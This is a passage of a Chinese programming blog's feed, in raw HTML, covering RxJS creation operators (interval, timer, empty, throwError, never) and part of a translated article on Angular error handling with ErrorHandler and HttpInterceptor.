class="line"><span class="keyword">const</span> ob$ = <span class="keyword">new</span> Observable(<span class="function"><span class="params">observer</span> =></span> {</span><br><span class="line"> <span class="keyword">let</span> count = <span class="number">0</span></span><br><span class="line"> <span class="comment">// 每秒发出一个递增的数字值</span></span><br><span class="line"> setInterval(<span class="function"><span class="params">_</span> =></span> observer.next(count++), <span class="number">1000</span>)</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line">ob$.subscribe(<span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出: 0, 1, 2, 3, 4......</span></span><br><span class="line"><span class="comment">// 每个值间隔1s</span></span><br></pre></td></tr></table></figure><p>使用<code>interval</code>操作符我们可以这样写:</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> ob$ = interval(<span class="number">1000</span>)</span><br><span class="line"></span><br><span class="line">ob$.subscribe(<span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 同样输出: 0, 1, 2, 3, 4......</span></span><br><span class="line"><span class="comment">// 每个值间隔1s</span></span><br></pre></td></tr></table></figure><p><code>interval</code>操作符接收一个表示间隔时间(以<strong><em>ms</em></strong>计)的数字值作为参数,间隔此时间,持续发送一个从0开始无限递增的整数。</p><blockquote><p><code>interval</code>在被订阅后,并不会立即发出第一个值,而是在第一个间隔时间段过去后才开始发送。</p><p>也就是说,上面例子中的 0 是在第 1s 时发出的。</p><p>这和<code>setInterval</code>的表现是一致的。</p></blockquote><h3 id="timer"><a href="#timer" class="headerlink" title="timer"></a><strong><em>timer</em></strong></h3><p><code>timer</code>操作符类似于上面的<code>interval</code>操作符,可以根据一个固定的间隔来发送递增的整数序列。但<code>timer</code>操作符还可以定义第一次发送值之前的延时。也就是说,你可以指定什么时候开始发送值。</p><p>它接受两个参数,第一个参数用来指定初始延时,第二个参数指定开始发送值之后每个值的间隔时间。</p><p>来看一个例子,我们在5秒后开始,每隔一秒发送一个自增的数字。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> ob$ = timer(<span class="number">5000</span>, <span class="number">1000</span>)</span><br><span class="line"></span><br><span class="line">ob$.subscribe(<span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 五秒后,每隔1s输出:0, 1, 2,3, 4, 5....</span></span><br></pre></td></tr></table></figure><p>另外,当<code>timer</code>操作符只被传递了一个参数时,则只会在此参数对应时间后返回一个0,类似 <strong><em>JS</em></strong> 中的<code>setTimeout</code>。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> ob$ = timer(<span class="number">5000</span>)</span><br><span class="line"></span><br><span class="line">ob$.subscribe(<span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 五秒后输出:0</span></span><br></pre></td></tr></table></figure><blockquote><p><code>timer</code>操作符第一个参数除了是一个数字之外,还可以是一个<code>Date</code>对象,表示开始推送值的具体时间。这在某些时候会很有用。</p></blockquote><h3 id="empty"><a href="#empty" class="headerlink" title="empty"></a><strong><em>empty</em></strong></h3><p><code>empty</code>用于创建一个空的<code>Observable</code>,什么是空的<code>Observable</code>,就是当你订阅这个<code>Observable</code>时,它不会返回任何数据,而是直接发出<code>complete</code>表示<code>Observable</code>已完成。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> emptyOb$ = empty()</span><br><span class="line"></span><br><span class="line">emptyOb$.subscribe({</span><br><span class="line"> next: <span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x),</span><br><span class="line"> error: <span class="function"><span class="params">err</span> =></span> <span class="built_in">console</span>.log(err),</span><br><span class="line"> complete: <span class="function"><span class="params">_</span> =></span> <span class="built_in">console</span>.log(<span class="string">'complete'</span>)</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出: complete</span></span><br></pre></td></tr></table></figure><p>通俗的来讲,<code>empty</code>创建一个什么也不做的<code>Observable</code>,但它会告诉你它什么都没做(怎么这么不要脸这个操作符)</p><p>这个操作符创建的<code>Observable</code>一般会跟其他<code>Observable</code>通过各种操作符组合来发挥作用,例如<code>switchMap</code>,<code>mergeMap</code>等,这个我们留到以后再细说。</p><p>另外,我们还可以通过 <strong>RxJs v6</strong>版本新加入的<code>EMPTY</code>常量来直接得到一个空的<code>Observable</code> 。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">const emptyOb$ = EMPTY</span><br></pre></td></tr></table></figure><h3 id="throwError"><a href="#throwError" class="headerlink" title="throwError"></a><strong><em>throwError</em></strong></h3><p><code>empty</code>操作符创建的<code>Observable</code>是在订阅后立即发出一个<code>complete</code>消息,而<code>throwError</code>操作符创建的<code>Observable</code>则是在被订阅后立即发出一个错误通知。</p><p>它可以接受一个错误对象作为参数,并在其创建的<code>Observable</code>被订阅后立即发出这个错误。</p><p>与<code>empty</code>类似,它创建的<code>Observable</code>通常也是用来测试或与其它<code>Observable</code>组合使用。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> errorOb$ = throwError(<span class="keyword">new</span> <span class="built_in">Error</span>(<span class="string">'attention, error'</span>))</span><br><span class="line"></span><br><span class="line">errorOb$.subscribe({</span><br><span class="line"> next: <span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x),</span><br><span class="line"> error: <span class="function"><span class="params">err</span> =></span> <span class="built_in">console</span>.log(err),</span><br><span class="line"> complete: <span class="function"><span class="params">_</span> =></span> <span class="built_in">console</span>.log(<span class="string">'complete'</span>)</span><br><span class="line">})</span><br></pre></td></tr></table></figure><h3 id="never"><a href="#never" class="headerlink" title="never"></a><strong><em>never</em></strong></h3><p><code>never</code>操作符,用来创建一个永远不结束的操作符,也就是<code>never end</code>。不过,虽然它永远不结束,但它也永远不会发出值。换句话说,观察者的<code>next</code>,<code>error</code>,<code>complet</code>三个函数,它永远一个也不会去触发。我们订阅它后,什么事也不会发生。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> neverOb$ = never()</span><br><span class="line"></span><br><span class="line">neverOb$.subscribe({</span><br><span class="line"> next: <span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x),</span><br><span class="line"> error: <span class="function"><span class="params">err</span> =></span> <span class="built_in">console</span>.log(err),</span><br><span class="line"> complete: <span class="function"><span class="params">_</span> =></span> <span class="built_in">console</span>.log(<span class="string">'complete'</span>)</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出: 并不会有什么输出....</span></span><br></pre></td></tr></table></figure><p>另外有一点需要注意,因为这个<code>Observable</code>永远也不会结束,也意味着永远都不会被清理。所以我们在必要的时候,要记得去手动清理掉它,防止它真的无限的持续下去。</p><p>还记得我们上篇博客说的吗?当订阅一个<code>Observable</code>时,会返回一个订阅关系<code>Subscription</code>,调用<code>Subscription</code>的<code>unsubscribe</code>即可清理<code>Observalbe</code></p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> neverOb$ = Rx.Observable.never()</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> subscription = neverOb$.subscribe({</span><br><span class="line"> next: <span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x),</span><br><span class="line"> error: <span class="function"><span class="params">err</span> =></span> <span class="built_in">console</span>.log(err),</span><br><span class="line"> complete: <span class="function"><span class="params">_</span> =></span> <span class="built_in">console</span>.log(<span class="string">'complete'</span>)</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="comment">// 清理</span></span><br><span class="line">subscription.unsubscribe()</span><br></pre></td></tr></table></figure><p>另外,同样的我们可以使用 <strong>RxJs v6</strong> 版本新加入的<code>NEVER</code>常量来直接得到一个无限持续的<code>Observable</code>。</p><p>Ok,常用的<code>RxJs</code>创建操作符,大概就这些了,让我们就在这里结束吧。</p><p>感谢阅读,我们下篇博客见。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> RxJs </tag>
</tags>
</entry>
<entry>
<title>(译)从Angular谈一谈前端的错误处理</title>
<link href="/2018/09/20/errorhanding&angular/"/>
<url>/2018/09/20/errorhanding&angular/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>偶然在<a href="https://github.com/gothinkster/angular-realworld-example-app/issues" target="_blank" rel="noopener"><strong>angular-realworld-example-app</strong></a>这个项目的<code>issue</code>中看到有人说此项目缺乏相应齐备和完善的错误处理,因此还是别叫<strong>realword</strong>了,因为根本跑不起来,同时还贴了一篇文章来说明一个<code>Angular</code>项目的错误处理应该是怎样的。</p><p>这篇文章名字叫做[<strong><em>Error Handling & Angular</em></strong>][link2],写的还真是非常好。我最近也经常思考如何才能完美的优雅又省力的处理前端框架中请求错误,数据错误,兼容错误等等各式各样的错误,尽量提高页面的适应性,保证错误发生时不至于损失太多的用户体验的同时又不会在项目中混杂太多的错误处理代码导致业务代码的<code>bad smell</code>。</p><p>这篇文章,虽然讲的是<code>Angular</code>的错误处理,但其中展现出对前端错误的归纳方法和处理之道,无论使用什么框架,都会收获颇多。</p><p>因此翻译过来,与大家共享。</p><p>ps:本篇博客中使用的在线编辑器[StackBlitz][link3]需要翻墙才能访问,也就是说本篇博客的阅读最好在翻墙情况下进行……</p><p>再ps:我正在找不需要翻墙又比较好用的在线编辑器,等找到了就会把相应的<code>Demo</code>实例迁移过去,希望我能够早点找到……</p></blockquote><a id="more"></a><p>如果你的年龄大于两岁的话,你肯定已经意识到,错误无论如何都会发生,当然,你的项目也不会例外。</p><p>当错误发生的时候,你可以无视它,任由它滋长,或者,你也可以通过做些什么,来消灭它,从而让这个世界更美好一点。</p><p>具体的,我们应该采取什么措施来处理错误呢?这取决于错误来自哪里:</p><h3 id="外部错误"><a href="#外部错误" class="headerlink" title="外部错误"></a>外部错误</h3><p>外部错误是更容易解决一些的错误,因为这类错误不是你造成的,你总可以怪罪到别的什么人头上。另一方面来说我们可以做的也并不是很多,我们只能被动的处理,并去告知这些外部错误的负责者,请求他去修复它们。</p><p>这类错误通常来自服务器,携带着一个表示错误分类的<a href="https://en.wikipedia.org/wiki/List_of_HTTP_status_codes#5xx_Server_errors" target="_blank" rel="noopener"><code>status</code></a>错误状态码和表示错误原因的<code>message</code>,通过错误携带的这些信息我们可以知道发生了什么错误,做出相应的处理。</p><p>除了来自服务器的,也有一些其他的情况,例如网络连接失败,我们也是可以处理的。</p><p>但显然并不是所有的都行,像浏览器崩溃或者系统崩溃这类外部错误,我们明显的无能为力。</p><h3 id="内部错误"><a href="#内部错误" class="headerlink" title="内部错误"></a>内部错误</h3><p>内部错误就更复杂一些了,因为它要求我们去仔细的自我审查并在内心深处接受我们又一次搞砸了这个现实,然后去找到原因,修复它,被它好好的上一课。</p><p>我们可以根据谁发出的错误来对内部错误做一个分类:</p><p><strong><em>服务器</em></strong></p><p>服务器返回给我们的错误所包含的属性并没有什么固定的标准,至少我没找到过此类标准。</p><p>它大概会包含以下几个属性:</p><ul><li><strong>status</strong> (code) : 以<code>4</code>开头的三位错误状态码,<a href="https://en.wikipedia.org/wiki/List_of_HTTP_status_codes#4xx_Client_errors" target="_blank" rel="noopener">目前共有 28 个错误状态码</a></li><li><strong>name:</strong> 错误的名字,比如<code>HttpErrorResponse</code></li><li><strong>message:</strong> 解释错误原因的消息,形如<code>Http failure response for...</code></li></ul><p><strong><em>客户端 (浏览器)</em></strong></p><p><code>Javascript</code>每当出错时,都会抛出一个使用<code>Error</code>构造函数创建的类型错误。</p><p>最常见的错误类型是<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError" target="_blank" rel="noopener"><code>ReferenceError</code></a>(意指调用了不存在的变量)和<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypeError" target="_blank" rel="noopener"> <code>TypeError</code></a> (表示你把变量当成了函数并尝试去执行它),还有其他的<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" target="_blank" rel="noopener">5种类型错误</a>,点链接可以详细查看。</p><p>一个客户端错误通常会包含:</p><ul><li><strong>name:</strong> 例如 <strong><em>ReferenceError</em></strong></li><li><strong>message:</strong> 例如 X is not defined</li></ul><p>在更现代的浏览器中,还会有错误发生所在的 <strong>fileName</strong>文件名,<strong>lineNumber</strong>行号和 <strong>columnNumber</strong>列号,及<strong>stack</strong>(错误发生时所在的函数堆栈)。</p><h3 id="错误,异常和调用栈"><a href="#错误,异常和调用栈" class="headerlink" title="错误,异常和调用栈"></a>错误,异常和调用栈</h3><p>在<code>Javascript</code>中,每个函数在执行时都会被按执行顺序依次添加到栈中,当函数执行完毕,返回值后,再从栈中删除。</p><p>当一个错误发生时,一个异常会在错误所在栈被抛出,同时会删除当前栈中的所有函数调用,直到其被<code>try/catch</code>捕获。随后,控制权会移交给<code>catch</code>块中的代码。</p><p>如果没有任何<code>try/catch</code>块,则异常会移除所有嵌套的栈中的函数执行,使我们的应用彻底崩溃。</p><p>让我们来看一个例子</p><p><strong><em>实际例子</em></strong></p><ul><li>打开例子编辑器中的<code>console</code>命令行</li><li>打开<code>app>app.components.ts</code>文件</li><li>点击<code>触发错误</code>按钮,因为引用错误<code>ReferenceError</code>没有被捕获,这个错误清除了所有的函数调用栈,应用崩溃了。</li><li>刷新页面</li><li>点击<code>触发错误并捕获</code>按钮,查看错误被捕获了的情况。</li></ul><iframe width="100%" height="600px" scrolling="no" frameborder="0" id="player" src="https://stackblitz.com/edit/js-error-handling-duekc1?embed=1&file=app/app.component.html&hideExplorer=1" allowfullscreen></iframe><p>你可以在<code>console</code>命令行中看到,<code>try/catch</code>捕获了错误,并继续执行了<code>catch</code>块中的内容,避免了应用崩溃。</p><h3 id="如何全局处理错误"><a href="#如何全局处理错误" class="headerlink" title="如何全局处理错误"></a>如何全局处理错误</h3><p>默认的,<code>angular</code>有自己的一个<code>ErrorHandle</code>用来拦截所有内部发生的错误并打印到控制台。在上面的例子中,为了演示错误的发生,我禁用了它。</p><p>我们可以基于<code>ErrorHandle</code>创建一个新的错误处理类来修改它的默认行为。</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// errors-handler.ts</span></span><br><span class="line"><span class="keyword">import</span> { ErrorHandler, Injectable} <span class="keyword">from</span> <span class="string">'@angular/core'</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Injectable</span>()</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> ErrorsHandler <span class="keyword">implements</span> ErrorHandler {</span><br><span class="line"> handleError(error: <span class="built_in">Error</span>) {</span><br><span class="line"> <span class="comment">// 在这里进行自定义的错误处理</span></span><br><span class="line"> <span class="comment">// 例如将错误发送到服务器或者打印到console命令行</span></span><br><span class="line"> <span class="built_in">console</span>.error(<span class="string">'发生错误: '</span>, error);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在定义了一个错误处理的新的类(它是一个服务)之后,我们需要告诉<code>Angular</code>使用我们自己定义的类处理全局错误。</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// errors.module.ts</span></span><br><span class="line"><span class="meta">@NgModule</span>({</span><br><span class="line"> imports: [ ... ],</span><br><span class="line"> declarations: [ ... ],</span><br><span class="line"> providers: [</span><br><span class="line"> {</span><br><span class="line"> provide: ErrorHandler,</span><br><span class="line"> useClass: ErrorsHandler,</span><br><span class="line"> }</span><br><span class="line"> ]</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p>现在,每次当新的错误发生时,<code>Angular</code>都会打印一条<code>发生错误</code>并跟随着具体错误信息的消息到<code>console</code>控制台中。</p><h3 id="如何识别错误"><a href="#如何识别错误" class="headerlink" title="如何识别错误"></a>如何识别错误</h3><p>在<code>ErrorHandler</code>中,我们可以识别错误属于哪种类型:</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// errors-handler.ts</span></span><br><span class="line"><span class="keyword">import</span> { ErrorHandler, Injectable} <span class="keyword">from</span> <span class="string">'@angular/core'</span>;</span><br><span class="line"><span class="keyword">import</span> { HttpErrorResponse } <span class="keyword">from</span> <span class="string">'@angular/common/http'</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Injectable</span>()</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> ErrorsHandler <span class="keyword">implements</span> ErrorHandler {</span><br><span class="line"> handleError(error: <span class="built_in">Error</span> | HttpErrorResponse) { </span><br><span class="line"> <span class="keyword">if</span> (error <span class="keyword">instanceof</span> HttpErrorResponse) {</span><br><span class="line"> <span class="comment">// 服务器或者连接错误</span></span><br><span class="line"> <span class="keyword">if</span> (!navigator.onLine) {</span><br><span class="line"> <span class="comment">// 网络连接错误</span></span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// Http 错误 (error.status === 403, 404...)</span></span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 客户端错误 (Angular Error, ReferenceError...) </span></span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 总是输出错误到控制台</span></span><br><span class="line"> <span class="built_in">console</span>.error(<span class="string">'发生错误: '</span>, error);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="如何分别处理错误"><a href="#如何分别处理错误" class="headerlink" title="如何分别处理错误"></a>如何分别处理错误</h3><p><strong><em>server端错误</em></strong></p><p><code>server</code>端和网络连接的错误会影响到我们的应用和服务器的通信。当我们的应用离线时,可能发生访问地址不存在(404),无权限访问(403)等错误。<code>Angular</code>的<code>HttpClient</code>会给出对应的错误信息提示,不过我们的应用并不会崩溃。但我们仍然必须去处理它,从而避免我们的应用处于数据可能会受损或者丢失的风险中。</p><p>一般来说,对于这种错误,我们需要进行一个通知:一个清晰明了的解释信息来告诉用户发生了什么,应该怎么做。</p><p>为此我们需要在应用中引入一个<code>notification</code>服务。</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// errors-handler.ts</span></span><br><span class="line"><span class="keyword">import</span> { ErrorHandler, Injectable} <span class="keyword">from</span> <span class="string">'@angular/core'</span>;</span><br><span class="line"><span class="keyword">import</span> { HttpErrorResponse } <span class="keyword">from</span> <span class="string">'@angular/common/http'</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Injectable</span>()</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> ErrorsHandler <span class="keyword">implements</span> ErrorHandler {</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">constructor</span>(<span class="params"></span></span><br><span class="line"><span class="params"> <span class="comment">// 因为 ErrorHandler 的创建在服务的构建引入之前,</span></span></span><br><span class="line"><span class="params"> <span class="comment">// 所以我们需要通过使用服务的注入器`injector`来手动获取服务</span></span></span><br><span class="line"><span class="params"> <span class="keyword">private</span> injector: Injector</span></span><br><span class="line"><span class="params"> </span>){} </span><br><span class="line"> </span><br><span class="line"> <span class="keyword">const</span> notificationService = <span class="keyword">this</span>.injector.get(NotificationService)</span><br><span class="line"> </span><br><span class="line"> handleError(error: <span class="built_in">Error</span> | HttpErrorResponse) { </span><br><span class="line"> <span class="keyword">if</span> (error <span class="keyword">instanceof</span> HttpErrorResponse) {</span><br><span class="line"> <span class="comment">// 服务器或者连接错误</span></span><br><span class="line"> <span class="keyword">if</span> (!navigator.onLine) {</span><br><span class="line"> <span class="comment">// 网络连接错误</span></span><br><span class="line"> <span class="keyword">return</span> notificationService.notify(<span class="string">'无网络连接'</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// Http 错误 (error.status === 403, 404...)</span></span><br><span class="line"> <span class="keyword">return</span> notificationService.notify(<span class="string">`<span class="subst">${error.status}</span> - <span class="subst">${error.message}</span>`</span>);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 客户端错误 (Angular Error, ReferenceError...) </span></span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 总是输出错误到控制台</span></span><br><span class="line"> <span class="built_in">console</span>.error(<span class="string">'发生错误: '</span>, error);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><em>我们还可以对某些类型的错误进行专门的处理,例如当 403 错误发生时,我们可以通知用户并重定向页面到登录页</em></p><p>最好的错误是永远不发生的错误。我们可以通过<code>Http</code>拦截器 <code>HttpInterceptor</code>改进我们的错误处理。通过<code>HttpInterceptor</code>,我们拦截所有的服务器响应,并在请求发生错误时重试若干次。</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// server-errors.interceptor.ts</span></span><br><span class="line"><span class="keyword">import</span> { Injectable } <span class="keyword">from</span> <span class="string">'@angular/core'</span>;</span><br><span class="line"><span class="keyword">import</span> {</span><br><span class="line"> HttpRequest,</span><br><span class="line"> HttpHandler,</span><br><span class="line"> HttpEvent,</span><br><span class="line"> HttpInterceptor,</span><br><span class="line"> HttpErrorResponse</span><br><span class="line">} <span class="keyword">from</span> <span class="string">'@angular/common/http'</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> { Observable } <span class="keyword">from</span> <span class="string">'rxjs/Observable'</span>;</span><br><span class="line"><span class="keyword">import</span> <span class="string">'rxjs/add/operator/retry'</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@Injectable</span>()</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> ServerErrorsInterceptor <span class="keyword">implements</span> HttpInterceptor {</span><br><span class="line"> </span><br><span class="line"> intercept(request: HttpRequest<<span class="built_in">any</span>>, next: HttpHandler): Observable<HttpEvent<<span class="built_in">any</span>>> {</span><br><span class="line"> <span class="comment">// 如果请求发生错误,重试5次仍然错误时再抛出</span></span><br><span class="line"> <span class="keyword">return</span> next.handle(request).retry(<span class="number">5</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>同样我们需要告诉<code>Angular</code>使用我们自定义的<code>ServerErrorsInterceptor</code>类来拦截每个<code>Http</code>请求。</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// errors.module.ts</span></span><br><span class="line"><span class="meta">@NgModule</span>({</span><br><span class="line"> imports: [ ... ],</span><br><span class="line"> declarations: [ ... ],</span><br><span class="line"> providers: [</span><br><span class="line"> {</span><br><span class="line"> provide: HTTP_INTERCEPTORS,</span><br><span class="line"> useClass: ServerErrorsInterceptor,</span><br><span class="line"> multi: <span class="literal">true</span>,</span><br><span class="line"> },</span><br><span class="line"> ]</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p><strong><em>客户端错误</em></strong></p><p>客户端错误看起来对我们更危险一些。它可能导致我们的应用完全崩溃,或者导致错误的数据被存储,甚至让用户花费很多时间处理的数据无法保存。</p><p>我认为在这种情况下,我们需要进行更严格的错误响应:当我们的应用程序出现问题时,我们应该停止应用,并将页面重定向到包含所有错误信息的错误专用页面,然后尽快修复错误并通知用户应用已恢复正常。</p><p>为了实现上面说的,我们需要使用一个可以从路由参数中获取错误信息并展示的错误专用组件,在错误发生时重定向到它。</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// errors-handler.ts</span></span><br><span class="line"><span class="keyword">import</span> { ErrorHandler, Injectable} <span class="keyword">from</span> <span class="string">'@angular/core'</span>;</span><br><span class="line"><span class="keyword">import</span> { HttpErrorResponse } <span class="keyword">from</span> <span class="string">'@angular/common/http'</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Injectable</span>()</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> ErrorsHandler <span class="keyword">implements</span> ErrorHandler {</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">constructor</span>(<span class="params"></span></span><br><span class="line"><span class="params"> <span class="comment">// 因为 ErrorHandler 的创建在服务的构建引入之前,</span></span></span><br><span class="line"><span class="params"> <span class="comment">// 所以我们需要通过使用服务的注入器`injector`来手动获取服务</span></span></span><br><span class="line"><span class="params"> <span class="keyword">private</span> injector: Injector</span></span><br><span class="line"><span class="params"> </span>){} </span><br><span class="line"> </span><br><span class="line"> <span class="keyword">const</span> notificationService = <span class="keyword">this</span>.injector.get(NotificationService)</span><br><span class="line"> <span class="keyword">const</span> router = <span class="keyword">this</span>.injector.get(Router)</span><br><span class="line"> </span><br><span class="line"> handleError(error: <span class="built_in">Error</span> | HttpErrorResponse) { </span><br><span class="line"> <span 